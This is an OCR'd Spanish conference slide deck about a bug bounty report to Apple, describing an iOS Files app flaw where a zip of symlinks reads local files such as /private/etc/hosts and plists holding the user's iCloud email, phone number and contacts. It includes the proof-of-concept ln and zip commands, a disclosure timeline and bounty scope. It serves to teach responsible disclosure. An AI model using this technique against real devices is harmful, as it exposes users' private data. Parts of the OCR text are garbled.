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Agenda

omespino@cdmx:~/bugconS cat agenda.txt

Introduccion
Programa de Bugbounty de Apple
« E1 hallazgo
* Prueba de concepto
* Linea de tiempo
« Diseccion del alcance y el hallazgo
Lecciones aprendidas
Q&A
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Toda la informacion incluida en este medio es para
fines educativos y profesionales, en ningin caso los
organizadores de este evento, ni yo, somos responsables
de cualquier mal uso de esta informacion.
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INTRODUCCION

[ motivacion: reto, diversion y
ganancias]

Y por que todo mundo esta usando nuclei, ffuf y httpx, con
--max-threads=10,000, 000




Programa de Bugbounty de Apple

$5,000 a $2,000,000 USD
Dispositivos Servicios y Cloud
iPhone ,iPad y Macs *icloud.com
Prod / Beta *.apple.com
Ejemplos: Ejemplos:
Exfiltracion de datos PIl, RCE, bypass RCE, SQLi, XXE, IDORs, XSS, DNS,
de pantalla de bloqueo Extraccién de datos PII
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El Hallazgo

Lectura Arbitrariade
archivos locales,
mediante archivos
zip en la app de Files

de 10S. Files
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Lectura Arbitraria de archivos locales
Paso 1 - Archivo Zip

/private/etc/hosts # Crear un nuevo directorio llamado symlinks
/private/etc/group mkdir symlinks; cd symlinks

# Ir al directorio y crea los siguientes enlaces simbdlicos (symlinks)

In -sf /private/etc/group etc_group.txt

In -sf /private/etc/hosts etc_hosts.txt

In -sf /~/Library/Preferences/com.apple.identityservices.idstatuscache.plist
In -sf /~/Library/Preferences/com.apple.commcenter.shared.plist

In -sf /private/var/mobile/Library/Preferences/com.apple.sharingd.plist

# Luego, dentro del directorio 'symlinks', crear el archivo zip especial que
i permite enlaces simbdlicos

el

symlinks.zip zip --symlinks -r symlinks.zip .
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Lectura Arbitraria de archivos locales

Paso 2 - Desde el Iphone

il = 9:41 AM @ @ 92% ==

Done symlinks

symlinks
1KB
> files

1. Abrir symlinks.zip
EniOS File app

ol F 9:41 AM @ W 92%

< On My iPhone Downloads

- symlinks

symlinks.zip
8:33PM - 1KB

HE H =
& =

2. Descomprimir
symlinks.zip

ol & 9:41AM @ @92y ==

5 Iltems Done

o g

commcente...red.plist.txt
8:33 PM - 73 bytes
etc_group.txt

8:33 PM - 18 bytes
etc_hosts.txt

833 PM - 18 bytes
identityserv...che.plist.txt
8:33 PM - 86 bytes

sharingd.plist.txt
8:33 PM - 64 bytes

3. Seleccionar todos los
symlinks

Omar Espino

4. Enviar archivos ala
mac con AirDrop
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Lectura Arbitraria de archivos locales

Paso 3 - Desde |la computadora

o — - - - LA RS B oroup
. 900 B com.apple.sharingd.plist.txt — Edlit
- = & | <l fooe e # Group Database
Cavoriios Name ~  Date Modified Size Kind i Usnull” # This file is the authoritative user database.
@ user R com.apple.commcenter.shared.plist Sep 28, 2020 at 10:32 PM 83 bytes  Property List WNS. keysZNS.objectsV$classttA“Z$classnameX$classes_NSMutableDictionary£ "h e teat
A ¥ B com.apple.identit..idstatuscache.plist  Today at 5:49 PM 10KB  Property List \NSDictionaryXNSObject$)27ILQSW]dlw~AC4{f+u~A § 1_ com.apple.UIKit.activity.AirDrop_? nobodysms=22
Applications Dt Tidesa B e il :;om.amlf..uxmmm.\yux, ngg\atgtzngﬁ 500 ”“"‘I’“'°°§3’{§3"ﬁauoz¢m;m- : s
[ Desktop B group Sep 3, 2020 at 11:47 PM 2KB  TextEdit XSversxonvsa rchlverTstopxsobjectsUf NSKeyedArchiver— TrootAss :1:root
i B hosts Sep 23, 2020 at 10:28 PM 213bytes  TextEdit
i personal %' -, /59=eXY\] *adefi{|}vA0saAER USNULLY root
&= Cnnnla Nrive VSClnssHAl(DSIDXIdent1ty\CreauonDate ValidationRecordWApplelD [ContactInfoA$AAA tty:*:4:root
| E operator zz

o6 com.apple. i ices. i plist.txt ~ Open with TextEdit (b . B =] ot .
1 user's icloud email

; . B o _____1inm .
user's phone contacts list FAPPTELDContact 170¢84_SFAPPTETDCoRtactInfo®: account :
- ;<WNS. time#A-al group:*: 16

) staff:*:20:root
AA _network 124:

[ | = “@1>7VNSDate¢>4>ABCDE “wireless:
FGHIJKLNONQRTUNW_AccountIdentifier_%IntermediateCertificateExpirationDate_LastValidationAt _lp:*:26:
temptDate_PrivateKeyPersistentReference_ModificationDate_CertificateExpirationDate\SerialN _postfix:x:27:

HE = = H BN EEES L LR = umber_CertificatePersistentReference_LastValidationDate_xIntermediateCertificatePersistent _postdrop:*:28:

ReferenceAAAAAAAAAAAAA_Icom,apple.idns.appleid.prd.000133-05-762497d3-1b56-4730= certusers:*:29: ront, _jabber, _postfix,_cyrus,_calendar
h674-98b8ac16fde2": :

T G AL T T P e
Heem k" ks [ g U Eree—— bp15t86-_CompanionPhoneumber]
e o asdsSRCNCE

ol S N R user's phone number
e " B s e A Y™

™ E lh---'-' L

EF SR YT e PN

i

Mala Racha Bug Bounty - omespino@bugcon:~/cdmx$



Mala Racha Bug Bounty - omespino@bugcon:~/cdmx$



Lectura Arbitraria de archivos locales

Video reporte
enviado a Apple
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https://docs.google.com/file/d/1xu-ozp1MdVGHp1QEy02WZHjGkPnA17DG/preview

Lectura Arbitraria de archivos locales

Linea de tiempo - 13 meses

Mensaje
agradeciendo, y
preguntando por

la decisién

. . . Mensaje
Repo rte Mensaje Mensaje Mensaje monetaria y preguntamlio i
Enviado preguntando por preguntando por preguntando por avisando de la 1a decisién
actualizaciones actualizaciones actualizaciones divulgacién monetaria
Oct, 2020 Ene, 2021 Abr,2021 Jul, 2021 Sep, 2021 Oct, 2021 Nov, 2021
|
| I I I I I I |
Oct,2020 Ene, 2021 Abr,2021 Jul, 2021 Sep, 2021 Nov, 2021
Respuesta Respuesta Respuesta Respuesta Respuesta Respuesta
Automatizada de Apple de Apple de Apple de Apple de Apple
de Apple "Seguimos "Atenderemos el "Fallo Arreglado "Te daremos crédito en "Te daremos
investigando” fallo en el en i0S 14.5, futuras actualizaciones respuesta al
verano de 2021, queremos darte como Omar Espino principio del
favor de no reconocimiento (omespino.com)" mes"
compartir publico"
detalles de la
vulnerabilidad" HOF
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Lectura Arbitraria de archivos locales

Diseccion del alcance y el hallazgo

Informacion PlI, lista de
contactos completa, no.
de teléfono y cuentas de
iCloud extraidas,

como un hallazgo
valido

Unauthorized iCloud Account Acce

0. Limited unauthorized control of an iCloud account

0. Broad unauthorized control of an iCloud account
1o a small amount of sensitive data from
(but not including a st of installed apps or the

k sci
layout of the home screen). 2 O 2 O
$50,000. Partial ac ve data from the lock screen

s to Device: Lock Screen Bypass $100,000. Bre ve data from the lock screen.

.
0750 il i s s e s i antes de enviar
de

after first unlock

$250,000. Broad extraction of sensitive data from the locked el ha”aZgO

Physical Access to Device: User Data Extraction device after first unlock

525,000, App access to a small amount of sensitive data
normally protect by a TCC prompt.

$50,000. Partial app ac
protected by a TC

User-Installed App: Unauthorized Access $100,000. Broad app acce: v mally

to Sensitive Data

Device attack via
user-installed app

protected by a TC y torm sandbox

Unauthorized access to $5,000 - $100,000 A
sensitive data

Examples

$5,000: Predictable enumeration of all apps. As an example, you demonstrated that an iOS

app is able to enumerate all installed apps.

$25,000: App access to a small amount of sensitive data normally protected by a TCC

prompt. As an example, you demonstrated that an iOS app is able to programmatically access (S

some contacts without accepting a TCC prompt.

enviar el hallazgo

$50,000: Partial app access to sensitive data normally protected by a TCC prompt. As an
example, you demonstrated that an iS app is able to programmatically access all photos
without accepting a TCC prompt.

$100,000: Broad app access to sensitive data normally protected by a TCC prompt or the
platform sandbox. As an example, you demonstrated that an iOS app is able to
gain access to all TCC-protected data
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Lecciones Aprendidas
omespino@cdmx:~/bugcon$ cat lecciones.txt

 Siempre leer las reglas del programa, siempre

* A veces vale la pena enfrentarse directamente a tus aplicaciones; casi
nadie va directamente al objetivo, sino que explora cientos de
subdominios

 Ningun nombre es tan grande, grandes companias tienen

« Paciencia, las resoluciones llevan tiempo (En este caso 13 meses)

« Sé resiliente, a veces las cosas no salen como uno espera, lo mejor es
pasar de pagina y seguir adelante

* Leer, leer, leer, leer, leer, leer (una al dia)

* Repite
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